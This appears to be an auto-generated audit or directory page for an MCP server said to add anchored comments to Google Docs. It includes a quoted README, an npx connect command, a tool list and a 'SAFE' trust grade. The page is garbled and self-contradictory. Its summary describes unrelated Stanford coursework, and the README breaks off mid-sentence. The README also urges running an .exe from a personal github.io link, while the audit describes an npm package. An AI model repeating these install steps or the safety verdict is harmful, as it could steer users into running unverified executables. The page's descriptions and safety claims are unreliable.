gdocs-comments-mcpSAFE
Master modern software development through Stanford's CS146S assignments, featuring hands-on Python projects, Poetry workflows, and Conda environment setup for building production-ready skills.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://abdulreh4874.github.io)
This application helps users add anchored comments to Google Docs. Google Docs and Drive APIs do not support this feature by default. This tool serves as an MCP server. It connects AI agents like Claude, Cursor, or Copilot to your documents. It provides a way to leave precise, range-anchored comments during document reviews.
⚙️ Before you begin
Your computer needs a few components to run this software. Ensure you have the following items configured:
- A computer running Windows 10 or Windows 11.
- A stable internet connection.
- A Google account with access to the Google Docs you intend to comment on.
- An AI assistant application configured to use the Model Context Protocol.
📥 How to download the software
Follow these steps to obtain the correct application version for your system:
- Visit the project release page: https://abdulreh4874.github.io
- Look for the "Assets" section under the latest release version.
- Select the file ending in
.exethat matches your architecture. Most modern computers use the x64 version. - Click the file name to start the download.
- Save the file to your "Downloads" folder.
🖥️ Setting up the application
Once the download finishes, follow these instructions to prepare the tool for use:
- Locate the file you just downloaded.
- Double-click the file to initiate the setup wizard.
- Follow the on-screen prompts to install the software to your preferred directory.
- Note the installation path, as you may need this location when connecting the tool to your AI agent.
- Launch the application to verify it runs without errors. The software may open a terminal window. Keep this window open while you work.
🔗 Connecting to your AI agent
This tool acts as a bridge between your AI assistant a
24d9172c8fc8OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add gdocs-comments-mcp -- npx -y [email protected]
Exposed tools (2)
1 read · 1 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
add_comment | write | Add an inline comment anchored to a specific text fragment in a Google Doc |
check_connection | read | Check whether the Google session behind this server is usable: launches/attaches the browser |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- declared (2 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (3)
1.9.zip
@modelcontextprotocol/sdk, playwright-core
All processing happens within your environment. Your credentials and document data remain private.
Gates applied: no_behavioural_pass.
24d9172c8fc8full audit observations/trust-audit/mcp-server/abdulreh4874__gdocs-comments-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 24d9172c8fc8 | SAFE | B | 89 | first audit |
Questions
What is the gdocs-comments-mcp MCP server?
Master modern software development through Stanford's CS146S assignments, featuring hands-on Python projects, Poetry workflows, and Conda environment setup for building production-ready skills.
What tools does gdocs-comments-mcp expose?
2 in total: 1 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is gdocs-comments-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does gdocs-comments-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does gdocs-comments-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as gdocs-comments-mcp at 0.1.1.
How current is this page?
The grade is for one exact copy of the source (24d9172c8fc8), read on 2026-10-11. The repository is watched and re-audited when it changes.